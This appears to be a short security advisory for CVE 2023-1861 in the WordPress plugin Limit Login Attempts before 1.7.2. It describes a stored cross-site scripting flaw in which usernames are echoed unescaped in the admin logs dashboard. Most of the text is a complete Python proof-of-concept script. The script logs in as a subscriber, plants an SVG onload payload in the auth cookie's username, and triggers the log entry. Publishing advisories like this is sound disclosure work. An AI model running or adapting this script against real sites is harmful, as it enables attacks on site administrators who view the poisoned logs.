Limit Login Attempts < 1.7.2 – Subscriber+ Stored XSS | CVE 2023-1861

Description

The plugin does not sanitize and escape usernames when outputting them back in the logs dashboard, which could allow any authenticated users, such as subscriber to perform Stored Cross-Site Scripting attacks

Proof of Concept

import requests
import sys
import re

if len(sys.argv) != 4:
	print('USAGE: python %s <target_url> <user_login> <user_pass>' % (sys.argv[0],))
	sys.exit()

url = sys.argv[1].rstrip('/')

with requests.Session() as s:
	print('Logging in...')
	# Log into WordPress using our Subscriber account
	res = s.post(
		url + '/wp-login.php',
		headers={ 'Cookie': 'wordpress_test_cookie=WP Cookie check' },
		data={'log':sys.argv[2], 'pwd':sys.argv[3], 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie':1})
	# Send 5 corrupted cookies with malicious usernames in them
	print('Sending corrupted cookies 5 times..')
	for cookie in s.cookies.keys():
		if re.match(r'wordpress_[0-9a-f]+', cookie):
			malicious_payload = s.cookies.get(name=cookie, path='/').replace(sys.argv[2], 'MALICIOUS_USERNAME<svg/onload=alert(1)//>')
			s.cookies.set(name=cookie, value=None, path='/')
			s.cookies.set(name=cookie, value=malicious_payload, path='/')

	for i in range(5):
		s.get( url + '/wp-admin/')

print(f'View limit-login-attempts logs now at {sys.argv[1]}/wp-admin/options-general.php?page=limit-login-attempts')